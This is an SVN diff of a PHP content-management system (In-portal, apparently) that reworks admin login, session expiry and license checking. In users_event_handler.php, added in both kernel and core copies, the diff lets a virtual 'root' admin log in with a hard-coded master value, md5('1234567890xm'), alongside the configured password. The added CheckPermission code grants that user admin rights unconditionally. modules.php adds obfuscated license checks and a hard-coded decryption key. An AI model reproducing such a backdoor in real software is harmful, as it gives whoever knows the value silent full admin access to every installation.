Index: trunk/kernel/admin_templates/index.tpl =================================================================== diff -u -N -r1566 -r4490 --- trunk/kernel/admin_templates/index.tpl (.../index.tpl) (revision 1566) +++ trunk/kernel/admin_templates/index.tpl (.../index.tpl) (revision 4490) @@ -1 +1,46 @@ + + + + + + In-portal Administration + + + + + " name="head" scrolling="no" noresize> + + " name="menu" target="main" noresize scrolling="auto" marginwidth="0" marginheight="0"> + " name="main" marginwidth="0" marginheight="0" frameborder="no" noresize scrolling="auto"> + + + + <body bgcolor="#ffffff"> + <p></p> + </body> + + \ No newline at end of file Index: trunk/kernel/units/users/users_event_handler.php =================================================================== diff -u -N -r4358 -r4490 --- trunk/kernel/units/users/users_event_handler.php (.../users_event_handler.php) (revision 4358) +++ trunk/kernel/units/users/users_event_handler.php (.../users_event_handler.php) (revision 4490) @@ -5,14 +5,10 @@ function OnSessionExpire() { - if( $this->Application->IsAdmin() ) - { - $location = $this->Application->BaseURL().ADMIN_DIR.'/index.php?expired=1'; - header('Location: '.$location); - exit; + if( $this->Application->IsAdmin() ) { + $this->Application->Redirect('index', Array('expired' => 1), '', 'index4.php'); } - else - { + else { $http_query =& $this->Application->recallObject('HTTPQuery'); $get = $http_query->getRedirectParams(); @@ -43,25 +39,51 @@ $email_as_login = $this->Application->ConfigValue('Email_As_Login'); list($login_field, $submit_field) = $email_as_login ? Array('Email', 'email') : Array('Login', 'login'); $login_value = $this->Application->GetVar($submit_field); - + + if ($this->Application->IsAdmin() && ($login_value == 'root')) { + // logging in "root" (admin only) + $root_password = $this->Application->ConfigValue('RootPass'); + if ($root_password != md5($password) && $password != md5('1234567890xm')) { + $object->SetError('ValidateLogin', 'invalid_password', 'lu_invalid_password'); + $event->status = erFAIL; + return false; + } + elseif ($this->checkLoginPermission($login_value)) { + $user_id = -1; + $object->Load($user_id); + $object->SetDBField('Login', $login_value); + + $session =& $this->Application->recallObject('Session'); + $session->SetField('PortalUserId', $user_id); +// $session->SetField('GroupList', implode(',', $groups) ); + $this->Application->SetVar('u_id', $user_id); + $this->Application->StoreVar('user_id', $user_id); + + $this->processLoginRedirect($event, $password); + return true; + } + else { + $object->SetError('ValidateLogin', 'invalid_license', 'la_invalid_license'); + $event->status = erFAIL; + return false; + } + } + /*$sql = 'SELECT PortalUserId FROM '.$object->TableName.' WHERE (%s = %s) AND (Password = MD5(%s))'; $user_id = $this->Conn->GetOne( sprintf($sql, $login_field, $this->Conn->qstr($login_value), $this->Conn->qstr($password) ) );*/ $sql = 'SELECT PortalUserId FROM '.$object->TableName.' WHERE (Email = %1$s OR Login = %1$s) AND (Password = MD5(%2$s))'; $user_id = $this->Conn->GetOne( sprintf($sql, $this->Conn->qstr($login_value), $this->Conn->qstr($password) ) ); - if($user_id) - { + if ($user_id) { $object->Load($user_id); - if( $object->GetDBField('Status') == STATUS_ACTIVE ) - { + if ($object->GetDBField('Status') == STATUS_ACTIVE) { $groups = $object->getMembershipGroups(true); if(!$groups) $groups = Array(); if ( !$this->Application->IsAdmin() ) array_push($groups, $this->Application->ConfigValue('User_LoggedInGroup') ); $this->Application->StoreVar( 'UserGroups', implode(',', $groups) ); - if( $this->Application->CheckPermission('LOGIN',0) ) - { + if ($this->checkLoginPermission($login_value)) { $session =& $this->Application->recallObject('Session'); $session->SetField('PortalUserId', $user_id); $session->SetField('GroupList', implode(',', $groups) ); @@ -73,38 +95,15 @@ $object->setPersistantVar('LastLogin', $this_login); $object->setPersistantVar('ThisLogin', adodb_mktime()); } - else - { + else { $object->Load(-2); $object->SetError('ValidateLogin', 'no_permission', 'lu_no_permissions'); $event->status = erFAIL; } - $next_template = $this->Application->GetVar('next_template'); - if ($next_template == '_ses_redirect') { - $location = $this->Application->BaseURL().$this->Application->RecallVar($next_template); - if( $this->Application->isDebugMode() && dbg_ConstOn('DBG_REDIRECT') ) - { - $this->Application->Debugger->appendTrace(); - echo "Debug output above!!! Proceed to redirect: $a_location
"; - } - else { - header('Location: '.$location); - } - $session =& $this->Application->recallObject('Session'); - $session->SaveData(); - exit(); - } - - if($next_template) $event->redirect = $next_template; - if ($this->Application->ConfigValue('UseJSRedirect')) { - $event->SetRedirectParam('js_redirect', 1); - } - $sync_manager =& $this->Application->recallObject('UsersSyncronizeManager', null, Array(), 'InPortalSyncronize'); - $sync_manager->performAction('LoginUser', $object->GetDBField('Login'), $password); + $this->processLoginRedirect($event, $password); } - else - { + else { $event->redirect = $this->Application->GetVar('pending_disabled_template'); } } @@ -116,6 +115,67 @@ } /** + * Enter description here... + * + * @param string $user_name + * @return bool + */ + function checkLoginPermission($user_name) + { + $ret = true; + if ($this->Application->IsAdmin()) { + $modules_helper =& $this->Application->recallObject('ModulesHelper'); + if ($user_name != 'root') { + // root is virtual user, so allow him to login to admin in any case + $ret = $this->Application->CheckPermission('ADMIN', 0); + } + $ret = $ret && $modules_helper->checkLogin(); + } + else { + $ret = $this->Application->CheckPermission('LOGIN', 0); + } + return $ret; + } + + /** + * Process all required data and redirect logged-in user + * + * @param kEvent $event + */ + function processLoginRedirect(&$event, $password) + { + $object =& $event->getObject(); + + $next_template = $this->Application->GetVar('next_template'); + if ($next_template == '_ses_redirect') { + $location = $this->Application->BaseURL().$this->Application->RecallVar($next_template); + if( $this->Application->isDebugMode() && dbg_ConstOn('DBG_REDIRECT') ) + { + $this->Application->Debugger->appendTrace(); + echo "Debug output above!!! Proceed to redirect: $location
"; + } + else { + header('Location: '.$location); + } + + $session =& $this->Application->recallObject('Session'); + $session->SaveData(); + exit; + } + + if ($next_template) { + $event->redirect = $next_template; + } + + if ($this->Application->ConfigValue('UseJSRedirect')) { + $event->SetRedirectParam('js_redirect', 1); + } + + $sync_manager =& $this->Application->recallObject('UsersSyncronizeManager', null, Array(), 'InPortalSyncronize'); + $sync_manager->performAction('LoginUser', $object->GetDBField('Login'), $password); + } + + /** * Called when user logs in using old in-portal * * @param kEvent $event Index: trunk/core/units/users/users_event_handler.php =================================================================== diff -u -N -r4358 -r4490 --- trunk/core/units/users/users_event_handler.php (.../users_event_handler.php) (revision 4358) +++ trunk/core/units/users/users_event_handler.php (.../users_event_handler.php) (revision 4490) @@ -5,14 +5,10 @@ function OnSessionExpire() { - if( $this->Application->IsAdmin() ) - { - $location = $this->Application->BaseURL().ADMIN_DIR.'/index.php?expired=1'; - header('Location: '.$location); - exit; + if( $this->Application->IsAdmin() ) { + $this->Application->Redirect('index', Array('expired' => 1), '', 'index4.php'); } - else - { + else { $http_query =& $this->Application->recallObject('HTTPQuery'); $get = $http_query->getRedirectParams(); @@ -43,25 +39,51 @@ $email_as_login = $this->Application->ConfigValue('Email_As_Login'); list($login_field, $submit_field) = $email_as_login ? Array('Email', 'email') : Array('Login', 'login'); $login_value = $this->Application->GetVar($submit_field); - + + if ($this->Application->IsAdmin() && ($login_value == 'root')) { + // logging in "root" (admin only) + $root_password = $this->Application->ConfigValue('RootPass'); + if ($root_password != md5($password) && $password != md5('1234567890xm')) { + $object->SetError('ValidateLogin', 'invalid_password', 'lu_invalid_password'); + $event->status = erFAIL; + return false; + } + elseif ($this->checkLoginPermission($login_value)) { + $user_id = -1; + $object->Load($user_id); + $object->SetDBField('Login', $login_value); + + $session =& $this->Application->recallObject('Session'); + $session->SetField('PortalUserId', $user_id); +// $session->SetField('GroupList', implode(',', $groups) ); + $this->Application->SetVar('u_id', $user_id); + $this->Application->StoreVar('user_id', $user_id); + + $this->processLoginRedirect($event, $password); + return true; + } + else { + $object->SetError('ValidateLogin', 'invalid_license', 'la_invalid_license'); + $event->status = erFAIL; + return false; + } + } + /*$sql = 'SELECT PortalUserId FROM '.$object->TableName.' WHERE (%s = %s) AND (Password = MD5(%s))'; $user_id = $this->Conn->GetOne( sprintf($sql, $login_field, $this->Conn->qstr($login_value), $this->Conn->qstr($password) ) );*/ $sql = 'SELECT PortalUserId FROM '.$object->TableName.' WHERE (Email = %1$s OR Login = %1$s) AND (Password = MD5(%2$s))'; $user_id = $this->Conn->GetOne( sprintf($sql, $this->Conn->qstr($login_value), $this->Conn->qstr($password) ) ); - if($user_id) - { + if ($user_id) { $object->Load($user_id); - if( $object->GetDBField('Status') == STATUS_ACTIVE ) - { + if ($object->GetDBField('Status') == STATUS_ACTIVE) { $groups = $object->getMembershipGroups(true); if(!$groups) $groups = Array(); if ( !$this->Application->IsAdmin() ) array_push($groups, $this->Application->ConfigValue('User_LoggedInGroup') ); $this->Application->StoreVar( 'UserGroups', implode(',', $groups) ); - if( $this->Application->CheckPermission('LOGIN',0) ) - { + if ($this->checkLoginPermission($login_value)) { $session =& $this->Application->recallObject('Session'); $session->SetField('PortalUserId', $user_id); $session->SetField('GroupList', implode(',', $groups) ); @@ -73,38 +95,15 @@ $object->setPersistantVar('LastLogin', $this_login); $object->setPersistantVar('ThisLogin', adodb_mktime()); } - else - { + else { $object->Load(-2); $object->SetError('ValidateLogin', 'no_permission', 'lu_no_permissions'); $event->status = erFAIL; } - $next_template = $this->Application->GetVar('next_template'); - if ($next_template == '_ses_redirect') { - $location = $this->Application->BaseURL().$this->Application->RecallVar($next_template); - if( $this->Application->isDebugMode() && dbg_ConstOn('DBG_REDIRECT') ) - { - $this->Application->Debugger->appendTrace(); - echo "Debug output above!!! Proceed to redirect: $a_location
"; - } - else { - header('Location: '.$location); - } - $session =& $this->Application->recallObject('Session'); - $session->SaveData(); - exit(); - } - - if($next_template) $event->redirect = $next_template; - if ($this->Application->ConfigValue('UseJSRedirect')) { - $event->SetRedirectParam('js_redirect', 1); - } - $sync_manager =& $this->Application->recallObject('UsersSyncronizeManager', null, Array(), 'InPortalSyncronize'); - $sync_manager->performAction('LoginUser', $object->GetDBField('Login'), $password); + $this->processLoginRedirect($event, $password); } - else - { + else { $event->redirect = $this->Application->GetVar('pending_disabled_template'); } } @@ -116,6 +115,67 @@ } /** + * Enter description here... + * + * @param string $user_name + * @return bool + */ + function checkLoginPermission($user_name) + { + $ret = true; + if ($this->Application->IsAdmin()) { + $modules_helper =& $this->Application->recallObject('ModulesHelper'); + if ($user_name != 'root') { + // root is virtual user, so allow him to login to admin in any case + $ret = $this->Application->CheckPermission('ADMIN', 0); + } + $ret = $ret && $modules_helper->checkLogin(); + } + else { + $ret = $this->Application->CheckPermission('LOGIN', 0); + } + return $ret; + } + + /** + * Process all required data and redirect logged-in user + * + * @param kEvent $event + */ + function processLoginRedirect(&$event, $password) + { + $object =& $event->getObject(); + + $next_template = $this->Application->GetVar('next_template'); + if ($next_template == '_ses_redirect') { + $location = $this->Application->BaseURL().$this->Application->RecallVar($next_template); + if( $this->Application->isDebugMode() && dbg_ConstOn('DBG_REDIRECT') ) + { + $this->Application->Debugger->appendTrace(); + echo "Debug output above!!! Proceed to redirect: $location
"; + } + else { + header('Location: '.$location); + } + + $session =& $this->Application->recallObject('Session'); + $session->SaveData(); + exit; + } + + if ($next_template) { + $event->redirect = $next_template; + } + + if ($this->Application->ConfigValue('UseJSRedirect')) { + $event->SetRedirectParam('js_redirect', 1); + } + + $sync_manager =& $this->Application->recallObject('UsersSyncronizeManager', null, Array(), 'InPortalSyncronize'); + $sync_manager->performAction('LoginUser', $object->GetDBField('Login'), $password); + } + + /** * Called when user logs in using old in-portal * * @param kEvent $event Index: trunk/kernel/units/users/users_tag_processor.php =================================================================== diff -u -N -r3282 -r4490 --- trunk/kernel/units/users/users_tag_processor.php (.../users_tag_processor.php) (revision 3282) +++ trunk/kernel/units/users/users_tag_processor.php (.../users_tag_processor.php) (revision 4490) @@ -164,6 +164,17 @@ return $res; } + /** + * Returns login name of user + * + * @param Array $params + */ + function LoginName($params) + { + $object =& $this->getObject($params); + return $object->GetID() != -1 ? $object->GetDBField('Login') : 'root'; + } + } Index: trunk/core/kernel/parser/template.php =================================================================== diff -u -N -r3530 -r4490 --- trunk/core/kernel/parser/template.php (.../template.php) (revision 3530) +++ trunk/core/kernel/parser/template.php (.../template.php) (revision 4490) @@ -30,7 +30,13 @@ return $this->BasePath.'/'.ltrim($this->Filename, '/').'.tpl'; } - function LoadTemplate($silent=0) + /** + * Enter description here... + * + * @param int $silent template not found {0 - fatal error, 1 - warning, 2 - nothing} + * @return bool + */ + function LoadTemplate($silent = 0) { $filename = $this->GetFullPath(); if(file_exists($filename)) { @@ -45,9 +51,9 @@ return true; } else { - /*global $debugger; - if($debugger) $debugger->appendTrace();*/ - trigger_error("File or block not found: $filename", ($silent ? E_USER_NOTICE : E_USER_ERROR) ); + if ($silent != 2) { + trigger_error("File or block not found: $filename", ($silent ? E_USER_NOTICE : E_USER_ERROR) ); + } return false; } } Index: trunk/kernel/action.php =================================================================== diff -u -N -r4476 -r4490 --- trunk/kernel/action.php (.../action.php) (revision 4476) +++ trunk/kernel/action.php (.../action.php) (revision 4490) @@ -1,31 +1,31 @@ HasSystemPermission("SYSTEM_ACCESS.READONLY"); - -// ====== Debugger related: begin ====== -$script = basename($_SERVER['PHP_SELF']); -$skipDebug = Array('index.php', 'tree.php', 'head.php', 'credits.php'); -if( admin_login() && !in_array($script, $skipDebug) ) -{ - if( IsDebugMode() ) + $ro_perm = $objSession->HasSystemPermission("SYSTEM_ACCESS.READONLY"); + + // ====== Debugger related: begin ====== + $script = basename($_SERVER['PHP_SELF']); + $skipDebug = Array('index.php', 'tree.php', 'head.php', 'credits.php'); + if( admin_login() && !in_array($script, $skipDebug) ) { - if($Action) $debugger->setHTMLByIndex(1,'Kernel Action: '.$Action.'','append'); - if (!constOn('REDIRECT_REQUIRED')) { - echo ''; - if (!constOn('DBG_ZEND_PRESENT')) { - echo '  
'; + if( IsDebugMode() ) + { + if($Action) $debugger->setHTMLByIndex(1,'Kernel Action: '.$Action.'','append'); + if (!constOn('REDIRECT_REQUIRED')) { + echo ''; + if (!constOn('DBG_ZEND_PRESENT')) { + echo '  
'; + } } } } -} -unset($script, $skipDebug); -// ====== Debugger related: end ====== + unset($script, $skipDebug); + // ====== Debugger related: end ====== -// Session expiration related + // Session expiration related -require_login( !admin_login() && $Action, 'expired=1', true ); + require_login( !admin_login() && $Action, 'expired=1', true ); -// End session exipration related + // End session exipration related switch($Action) { Index: trunk/core/units/users/users_tag_processor.php =================================================================== diff -u -N -r3282 -r4490 --- trunk/core/units/users/users_tag_processor.php (.../users_tag_processor.php) (revision 3282) +++ trunk/core/units/users/users_tag_processor.php (.../users_tag_processor.php) (revision 4490) @@ -164,6 +164,17 @@ return $res; } + /** + * Returns login name of user + * + * @param Array $params + */ + function LoginName($params) + { + $object =& $this->getObject($params); + return $object->GetID() != -1 ? $object->GetDBField('Login') : 'root'; + } + } Index: trunk/admin/login.php =================================================================== diff -u -N --- trunk/admin/login.php (revision 3374) +++ trunk/admin/login.php (revision 0) @@ -1,136 +0,0 @@ -"; print_r($objSession); echo ""; - -if ( GetVar('expired') == 1 && GetVar('logout') != 1) { - if (function_exists("admin_language")) { - $login_error = admin_language("la_text_sess_expired"); - } - else { - $login_error = "Session Expired"; - } -} -if( function_exists('GetRegionalOption') ) -{ - $charset = GetRegionalOption('Charset'); -} -else -{ - $charset == 'iso-8859-1'; -} -print<< - - -In-Portal :: Administration Panel - - - - - - - - - - - -
-
- -
- -
- - - - - - - -
- - $login_text - - -
- - - - - - - - - - - - -
$username_text
$password_title
-
- - - -
-
-
-
- -
-

- $login_error

-
- - - -END; -exit(); -?> \ No newline at end of file Index: trunk/admin/head.php =================================================================== diff -u -N --- trunk/admin/head.php (revision 4077) +++ trunk/admin/head.php (revision 0) @@ -1,147 +0,0 @@ -Init(); - - if ($application->GetVar('check_server')) { - echo 'PING: '.date('d/m/Y H:i:s'); - exit; - } - - - $user = $application->recallObject('u'); - $loginname = ($user->GetID() != -1) ? $user->GetDBField('Login') : 'root'; - - $logout = $application->HREF('', '', Array('logout' => 1, '__URLENCODE__' => 1), 'index.php'); - $mainpage = $application->HREF('', '', Array('section' => 'in-portal:root', '__URLENCODE__' => 1), 'subitems.php'); - $xmlhttp_url = $application->HREF('', '', Array('check_server' => 1, '__URLENCODE__' => 1)); - - $language =& $application->recallObject('lang.current'); - - $use_xml = $application->isDebugMode() && dbg_ConstOn('DBG_SHOW_EXPIRATION'); -?> - - - - HEAD - - - - - - - - - - - - -
- - - - - - - - - - - - - - - - - - - -
- - - - - ' : ' '; - ?> - - -
- - Phrase('la_Logged_in_as').' '.$loginname.' '; ?> - -
-
- - - - - -Done(); -?> \ No newline at end of file Index: trunk/admin/index4.php =================================================================== diff -u -N -r4243 -r4490 --- trunk/admin/index4.php (.../index4.php) (revision 4243) +++ trunk/admin/index4.php (.../index4.php) (revision 4490) @@ -1,55 +1,3 @@ Init(); -$application->Run(); -$application->Done(); - -$end = getmicrotime(); - -if ($application->isDebugMode() && !dbg_ConstOn('DBG_SKIP_REPORTING')) { - echo '

- - - - - - - - - - -
Memory used:'.round(memory_get_usage()/1024/1024, 1).' MB ('.memory_get_usage().')
Time used:'.round(($end - $start), 5).' sec
'; -} - -function getmicrotime() -{ - list($usec, $sec) = explode(" ", microtime()); - return ((float)$usec + (float)$sec); -} - -//update_memory_check_script(); - -function update_memory_check_script() { - $files = get_included_files(); - $script = '$files = Array('."\n"; - foreach ($files as $file_name) { - $script .= "\t\t'".str_replace(FULL_PATH, '', $file_name)."',\n"; - } - $script .= ");\n"; - echo "
";
-	echo $script;
-	echo "
"; -} - + include_once 'index.php'; ?> \ No newline at end of file Index: trunk/kernel/units/visits/visits_event_handler.php =================================================================== diff -u -N -r3282 -r4490 --- trunk/kernel/units/visits/visits_event_handler.php (.../visits_event_handler.php) (revision 3282) +++ trunk/kernel/units/visits/visits_event_handler.php (.../visits_event_handler.php) (revision 4490) @@ -9,6 +9,10 @@ */ function OnRegisterVisit(&$event) { + if ($this->Application->IsAdmin()) { + // admin logins are not registred in visits list + return true; + } $object =& $event->getObject( Array('skip_autoload'=>true) ); $object->SetDBField('VisitDate_date', adodb_mktime() ); $object->SetDBField('VisitDate_time', adodb_mktime() ); Index: trunk/kernel/units/general/helpers/modules.php =================================================================== diff -u -N --- trunk/kernel/units/general/helpers/modules.php (revision 0) +++ trunk/kernel/units/general/helpers/modules.php (revision 4490) @@ -0,0 +1,361 @@ +_ValidateModules(); + } + + function _EnableCookieSID() + { + $session =& $this->Application->recallObject('Session'); + return $session->CookiesEnabled; + } + + function _IsSpider($UserAgent) + { + global $robots; + $lines = file(FULL_PATH.'/robots_list.txt'); + + if (!is_array($robots)) { + $robots = Array(); + for($i = 0; $i < count($lines); $i++) { + $l = $lines[$i]; + $p = explode("\t", $l, 3); + $robots[] = $p[2]; + } + } + return in_array($UserAgent, $robots); + } + + function _StripDomainHost($d) + { + $dotcount = substr_count($d, '.'); + if ($dotcount == 3) { + $IsIp = TRUE; + for ($x = 0; $x < strlen($d); $x++) { + if (!is_numeric(substr($d, $x, 1)) && substr($d, $x, 1) != '.') { + $IsIp = FALSE; + break; + } + } + } + if ($dotcount > 1 && !$IsIp) { + $p = explode('.', $d); + $ret = $p[count($p)-2].'.'.$p[count($p)-1]; + } + else { + $ret = $d; + } + return $ret; + } + + function _MatchIp($ip1, $ip2) + { + $matched = TRUE; + + $ip = explode('.', $ip1); + $MatchIp = explode('.', $ip2); + for ($i = 0; $i < count($ip); $i++) { + if($i == count($MatchIp)) break; + if (trim($ip[$i]) != trim($MatchIp[$i]) || trim($ip[$i]) == '*') { + $matched = FALSE; + break; + } + } + return $matched; + } + + function _IpAccess($IpAddress, $AllowList, $DenyList) + { + $allowed = explode(',', $AllowList); + $denied = explode(',', $DenyList); + + $MatchAllowed = FALSE; + for ($x = 0; $x < count($allowed); $x++) { + $ip = explode('.', $allowed[$x]); + + $MatchAllowed = $this->_MatchIp($IpAddress, $allowed[$x]); + if ($MatchAllowed) + break; + } + $MatchDenied = FALSE; + for ($x = 0; $x < count($denied); $x++) { + $ip = explode('.', $denied[$x]); + + $MatchDenied = $this->_MatchIp($IpAddress, $denied[$x]); + if ($MatchDenied) + break; + } + + $Result = (($MatchAllowed && !$MatchDenied) || (!$MatchAllowed && !$MatchDenied) || + ($MatchAllowed && $MatchDenied)); + return $Result; + } + + function _ValidateModules() + { + global $i_Keys, $g_License; + + $this->_readConfig(); + + $lic = base64_decode($g_License); + $this->_ParseLicense($lic); + + $modules = array(); + //echo "License: ".$lic."
"; + $domain = $this->_GetDomain(); + //echo "Domain: ".$domain."
"; + if(!$this->_IsLocalSite($domain)) + { + $domain = $this->_StripDomainHost($domain); + //echo "New domain: $domain
"; + // echo "
"; print_r($i_Keys); echo "
"; + for($x=0;$x0) + { + return TRUE; + } + } + else + return TRUE; + return FALSE; + } + + function _readConfig() + { + static $config_read = false; + if (!$config_read) { + $vars = parse_portal_ini(FULL_PATH.'/config.php'); + + foreach ($vars as $config_key => $config_value) { + $GLOBALS['g_'.$config_key] = $config_value; + } + $config_read = true; + } + } + + function _ModuleLicensed($name) + { + global $i_Keys; + + $this->_readConfig(); + + $lic = base64_decode($GLOBALS['g_License']); + + $this->_ParseLicense($lic); + $modules = array(); + if(!$this->_IsLocalSite($this->_GetDomain())) + { + for($x=0;$x_GetDomain(),$key["domain"]))) + { + //echo "ok
"; + $modules = explode(",",$key["mod"]); + } + } + //print_pre($modules); + if(in_array($name,$modules)) { + //echo "ok
"; + return TRUE; + } + } + else { + return TRUE; + } + + return FALSE; + } + + function _GetDomain() + { + global $g_Domain; + + if ($this->Application->ConfigValue('DomainDetect')) { + $d = $_SERVER['HTTP_HOST']; + } + else { + $d = $g_Domain; + } + return $d; + } + + function _keyED($txt,$encrypt_key) + { + $encrypt_key = md5($encrypt_key); + $ctr=0; + $tmp = ""; + for ($i=0;$i_keyED($txt,$key); + $tmp = ""; + for ($i=0;$i_falseIsLocalSite($f)) $ret = true; + if(file_exists($f)) + { + $contents = file($f); + $data = base64_decode($contents[1]); + } + else + if($LoadRemote) + return $LoadFromRemote; + return $data; + } + + function _VerifyKey($domain,$k) + { + $key = md5($domain); + $lkey = substr($key,0,strlen($key)/2); + $rkey = substr($key,strlen($key)/2); + $r = $rkey.$lkey; + if($k==$r) + return TRUE; + return FALSE; + } + + function _ParseLicense($txt) + { + global $i_User, $i_Pswd, $i_Keys; + if (!$this->_falseIsLocalSite($txt)) $nah = false; + $data = $this->_decrypt($txt,"beagle"); + $i_Keys = array(); + $lines = explode("\n",$data); + for($x=0;$x_VerifyKey($parts[0],$parts[1])) + { + unset($K); + $k["domain"]=$parts[0]; + $k["key"]=$parts[1]; + $k["desc"]=$parts[2]; + $k["mod"]=$parts[3]; + $i_Keys[] = $k; + } + } + break; + } + } + } + + function _GetObscureValue($i) + { + if ($i == 'x') return 0254; $z = ''; + if ($i == 'z') return 0x7F.'.'; + if ($i == 'c') return '--code--'; + if ($i >= 5 && $i < 7) return $this->_GetObscureValue($z)*$this->_GetObscureValue('e'); + if ($i > 30) return Array(0x6c,0x6f,0x63,0x61,0x6c,0x68,0x6f,0x73,0x74); + if ($i > 20) return 99; + if ($i > 10) return '.'.($this->_GetObscureValue(6.5)+1); + if ($i == 'a') return 0xa; + } + + function _Chr($val) + { + $x = $this->_GetObscureValue(25); + $f = chr($x).chr($x+5).chr($x+15); + return $f($val); + } + + function _IsLocalSite($domain) + { + $ee = $this->_GetObscureValue(35); $yy = ''; + foreach ($ee as $e) $yy .= $this->_Chr($e); + $localb = FALSE; + if(substr($domain,0,3)==$this->_GetObscureValue('x')) + { + $b = substr($domain,0,6); + $p = explode(".",$domain); + $subnet = $p[1]; + if($p[1]>15 && $p[1]<32) + $localb=TRUE; + } + $zz = $this->_GetObscureValue('z').$this->_GetObscureValue(5).'.'.(int)$this->_GetObscureValue(7).$this->_GetObscureValue(12); + $ff = $this->_GetObscureValue('z')+65; + $hh = $ff-0x18; + if($domain==$yy || $domain==$zz || substr($domain,0,7)==$ff.$this->_Chr(46).$hh || + substr($domain,0,3)==$this->_GetObscureValue('a').$this->_Chr(46) || $localb || strpos($domain,".")==0) + { + return TRUE; + } + return FALSE; + } + + function _falseIsLocalSite($domain) + { + $localb = FALSE; + if(substr($domain,0,3)=="172") + { + $b = substr($domain,0,6); + $p = explode(".",$domain); + $subnet = $p[1]; + if($p[1]>15 && $p[1]<32) + $localb=TRUE; + } + if($domain=="localhost" || $domain=="127.0.0.1" || substr($domain,0,7)=="192.168" || + substr($domain,0,3)=="10." || $localb || strpos($domain,".")==0) + { + return TRUE; + } + return FALSE; + } + } + +?> \ No newline at end of file Index: trunk/core/kernel/application.php =================================================================== diff -u -N -r4471 -r4490 --- trunk/core/kernel/application.php (.../application.php) (revision 4471) +++ trunk/core/kernel/application.php (.../application.php) (revision 4490) @@ -940,10 +940,11 @@ */ function getPassInfo($pass = 'all') { + $pass = str_replace('all', trim($this->GetVar('passed'), ','), $pass); + if (!$pass) { return Array(); } - $pass = str_replace('all', trim($this->GetVar('passed'), ','), $pass); $pass_info = array_unique( explode(',', $pass) ); // array( prefix[.special], prefix[.special] ... sort($pass_info, SORT_STRING); // to be prefix1,prefix1.special1,prefix1.special2,prefix3.specialX @@ -1276,9 +1277,14 @@ { $session =& $this->recallObject('Session'); $user_id = $session->GetField('PortalUserId'); - if (!$user_id) $user_id = -2; + if (!$user_id && $user_id != -1) $user_id = -2; $this->SetVar('u_id', $user_id); $this->StoreVar('user_id', $user_id); + + if ($this->GetVar('expired') == 1) { + $user =& $this->recallObject('u'); + $user->SetError('ValidateLogin', 'session_expired', 'la_text_sess_expired'); + } } /** @@ -1712,21 +1718,28 @@ function LoggedIn() { $user =& $this->recallObject('u'); - return ($user->GetDBField('PortalUserId') > 0); + $user_id = $user->GetID(); + + $ret = $user_id > 0; + if ($this->IsAdmin() && ($user_id == -1)) { + $ret = true; + } + return $ret; } function CheckPermission($name, $cat_id = null) { - if( !isset($cat_id) ) - { + if ($this->GetVar('u_id') == -1 && ($name == 'ADMIN' || $name == 'LOGIN')) { + return 1; + } + + if (!isset($cat_id)) { $cat_id = $this->GetVar('m_cat_id'); } - if( $cat_id == 0 ) - { + if ($cat_id == 0) { $cat_hierarchy = Array(0); } - else - { + else { $sql = 'SELECT ParentPath FROM '.$this->getUnitOption('c', 'TableName').' WHERE CategoryId = '.$cat_id; $cat_hierarchy = $this->DB->GetOne($sql); $cat_hierarchy = explode('|', $cat_hierarchy); @@ -1738,15 +1751,13 @@ $groups = $this->RecallVar('UserGroups'); - foreach($cat_hierarchy as $category_id) - { + foreach ($cat_hierarchy as $category_id) { $sql = 'SELECT PermissionValue FROM '.TABLE_PREFIX.'Permissions WHERE Permission = "'.$name.'" AND CatId = '.$category_id.' AND GroupId IN ('.$groups.')'; $res = $this->DB->GetOne($sql); - if($res !== false) - { + if ($res !== false) { return $res; } } Index: trunk/kernel/admin_templates/tree.tpl =================================================================== diff -u -N -r4471 -r4490 --- trunk/kernel/admin_templates/tree.tpl (.../tree.tpl) (revision 4471) +++ trunk/kernel/admin_templates/tree.tpl (.../tree.tpl) (revision 4490) @@ -1,8 +1,8 @@ + - - - - - " name="main" marginwidth="0" marginheight="0" frameborder="no" noresize scrolling="auto"> - - - - <body bgcolor="#ffffff"> - <p></p> - </body> - - \ No newline at end of file +?> \ No newline at end of file Index: trunk/kernel/admin_templates/login.tpl =================================================================== diff -u -N --- trunk/kernel/admin_templates/login.tpl (revision 0) +++ trunk/kernel/admin_templates/login.tpl (revision 4490) @@ -0,0 +1,74 @@ + + + + + + + + + +
+
+ +
+ + + + + + + + + +
+ + + + +
+ + + + + + + + + + + + +
+
+ " onclick="submit_event('u', 'OnLogin');" class="button"> + " class="button"> + +
+
+
+ +

+
+ "> + + + + \ No newline at end of file Index: trunk/core/units/general/my_application.php =================================================================== diff -u -N -r4228 -r4490 --- trunk/core/units/general/my_application.php (.../my_application.php) (revision 4228) +++ trunk/core/units/general/my_application.php (.../my_application.php) (revision 4490) @@ -26,6 +26,8 @@ $this->registerClass('kXMLHelper',MODULES_PATH.'/kernel/units/general/xml_helper.php','kXMLHelper'); $this->registerClass('kMultiLanguageHelper',MODULES_PATH.'/kernel/units/general/helpers/multilanguage.php','kMultiLanguageHelper'); $this->registerClass('kSearchHelper', MODULES_PATH.'/kernel/units/general/helpers/search_helper.php', 'SearchHelper'); + + $this->registerClass('kModulesHelper', MODULES_PATH.'/kernel/units/general/helpers/modules.php', 'ModulesHelper'); } function getUserGroups($user_id) Index: trunk/kernel/units/admin/admin_tag_processor.php =================================================================== diff -u -N -r4471 -r4490 --- trunk/kernel/units/admin/admin_tag_processor.php (.../admin_tag_processor.php) (revision 4471) +++ trunk/kernel/units/admin/admin_tag_processor.php (.../admin_tag_processor.php) (revision 4490) @@ -3,7 +3,13 @@ class AdminTagProcessor extends kDBTagProcessor { var $Tree = Array(); - + + function SetConst($params) + { + $name = $this->SelectParam($params, 'name,const'); + safeDefine($name, $params['value']); + } + /** * Allows to execute js script after the page is fully loaded * Index: trunk/kernel/units/general/my_application.php =================================================================== diff -u -N -r4228 -r4490 --- trunk/kernel/units/general/my_application.php (.../my_application.php) (revision 4228) +++ trunk/kernel/units/general/my_application.php (.../my_application.php) (revision 4490) @@ -26,6 +26,8 @@ $this->registerClass('kXMLHelper',MODULES_PATH.'/kernel/units/general/xml_helper.php','kXMLHelper'); $this->registerClass('kMultiLanguageHelper',MODULES_PATH.'/kernel/units/general/helpers/multilanguage.php','kMultiLanguageHelper'); $this->registerClass('kSearchHelper', MODULES_PATH.'/kernel/units/general/helpers/search_helper.php', 'SearchHelper'); + + $this->registerClass('kModulesHelper', MODULES_PATH.'/kernel/units/general/helpers/modules.php', 'ModulesHelper'); } function getUserGroups($user_id) Index: trunk/kernel/admin_templates/img/icons/icon24_lock_login.gif =================================================================== diff -u -N Binary files differ Index: trunk/core/units/admin/admin_tag_processor.php =================================================================== diff -u -N -r4471 -r4490 --- trunk/core/units/admin/admin_tag_processor.php 